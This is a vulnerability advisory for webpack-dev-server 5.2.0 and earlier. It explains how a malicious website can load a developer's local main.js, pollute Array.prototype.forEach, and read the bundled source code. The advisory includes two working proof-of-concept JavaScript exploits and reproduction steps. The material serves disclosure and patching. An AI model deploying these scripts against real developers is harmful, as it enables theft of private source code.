webpack-dev-server users' source code may be stolen when they access a malicious web site

Description

Summary

Source code may be stolen when you access a malicious web site.

Details

Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject <script src="http://localhost:8080/main.js"> in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. Combined with prototype pollution, the attacker can get a reference to the webpack runtime variables.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://e29c9a88-a242-4fb4-9e64-b24c9d29b35b.pages.dev/
  5. You can see the source code output in the document and the devtools console.

image

The script in the POC site is:

let moduleList
const onHandlerSet = (handler) => {
  console.log('h', handler)
  moduleList = handler.require.m
}

const originalArrayForEach = Array.prototype.forEach
Array.prototype.forEach = function forEach(callback, thisArg) {
  callback((handler) => {
    onHandlerSet(handler)
  })
  originalArrayForEach.call(this, callback, thisArg)
  Array.prototype.forEach = originalArrayForEach
}

const script = document.createElement('script')
script.src = 'http://localhost:8080/main.js'
script.addEventListener('load', () => {
  console.log(moduleList)
  for (const key in moduleList) {
    const p = document.createElement('p')
    const title = document.createElement('strong')
    title.textContent = key
    const code = document.createElement('code')
    code.textContent = moduleList[key].toString()
    p.append(title, ':', document.createElement('br'), code)
    document.body.appendChild(p)
  }
})
document.head.appendChild(script)

This script uses the function generated by renderRequire.

    // The require function
    function __webpack_require__(moduleId) {
        // Check if module is in cache
        var cachedModule = __webpack_module_cache__[moduleId];
        if (cachedModule !== undefined) {
            return cachedModule.exports;
        }
        // Create a new module (and put it into the cache)
        var module = __webpack_module_cache__[moduleId] = {
            // no module.id needed
            // no module.loaded needed
            exports: {}
        };
        // Execute the module function
        var execOptions = {
            id: moduleId,
            module: module,
            factory: __webpack_modules__[moduleId],
            require: __webpack_require__
        };
        __webpack_require__.i.forEach(function(handler) {
            handler(execOptions);
        });
        module = execOptions.module;
        execOptions.factory.call(module.exports, module, module.exports, execOptions.require);
        // Return the exports of the module
        return module.exports;
    }

Especially, it uses the fact that Array::forEach is called for __webpack_require__.i and execOptions contains __webpack_require__.
It uses prototype pollution against Array::forEach to extract __webpack_require__ reference.

Impact

This vulnerability can result in the source code to be stolen for users that uses a predictable port and output path for the entrypoint script.

<details>
<summary>Old content</summary>

Summary

Source code may be stolen when you use output.iife: false and access a malicious web site.

Details

When output.iife: false is set, some global variables for the webpack runtime are declared on the window object (e.g. __webpack_modules__).
Because the request for classic script by a script tag is not subject to same origin policy, an attacker can inject &lt;script src=&quot;http://localhost:8080/main.js&quot;&gt; in their site and run the script. Note that the attacker has to know the port and the output entrypoint script path. By running that, the webpack runtime variables will be declared on the window object.
By using Function::toString against the values in __webpack_modules__, the attacker can get the source code.

I pointed out output.iife: false, but if there are other options that makes the webpack runtime variables to be declared on the window object, the same will apply for those cases.

PoC

  1. Download reproduction.zip and extract it
  2. Run npm i
  3. Run npx webpack-dev-server
  4. Open https://852aafa3-5f83-44da-9fc6-ea116d0e3035.pages.dev/
  5. Open the devtools console.
  6. You can see the content of src/index.js and other scripts loaded.

image

The script in the POC site is:

const script = document.createElement(&#x27;script&#x27;)
script.src = &#x27;http://localhost:8080/main.js&#x27;
script.addEventListener(&#x27;load&#x27;, () =&gt; {
    for (const module in window.__webpack_modules__) {
        console.log(`${module}:`, window.__webpack_modules__[module].toString())
    }
})
document.head.appendChild(script)

Impact

This vulnerability can result in the source code to be stolen for users that has output.iife: false option set and uses a predictable port and output path for the entrypoint script.

</details>

Basic information

Type
reviewed
Severity
medium
Advisory on GitHub
Open advisory ↗
Repository advisory
Open repository advisory ↗
Source code
Browse source ↗
Published (advisory)
2025-06-04 21:09:13 UTC
Updated
2025-10-03 13:25:41 UTC
GitHub reviewed
2025-06-04 21:09:13 UTC
NVD published
2025-06-03

EPSS Score

Score Percentile
0.39% 59.57%

CVSS Scores

Base score Version Severity Vector
5.3 3.1
CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:U/C:H/I:N/A:N Click to expand
Attack vector (AV:N)
Could be attacked over the internet or any normal routed network—not just someone sitting at the machine.
Attack complexity (AC:H)
Even with access, the exploit needs extra luck, timing, or a fussy environment to actually work.
Privileges required (PR:N)
No account or special rights needed—anonymous or random user is enough.
User interaction (UI:R)
A real person has to do something—click, install, enable—otherwise it doesn’t land.
Scope (S:U)
Damage stays in the same “trust bubble” as the broken component—no big spill into unrelated systems.
Confidentiality (C:H)
Serious risk that confidential data gets exposed in a big way.
Integrity (I:N)
Data isn’t meaningfully altered or forged.
Availability (A:N)
Service keeps running; no real outage angle.

Identifiers

CWEs

CWE id Name
CWE-749 Exposed Dangerous Method or Function

Credits

  • sapphi-red (reporter)

Affected packages (1)

Vulnerable version ranges and first patched releases as published by GitHub.

Ecosystem Package Vulnerable range First patched Vulnerable functions
npm webpack-dev-server <= 5.2.0 5.2.1

References

cvelogic Threat Intelligence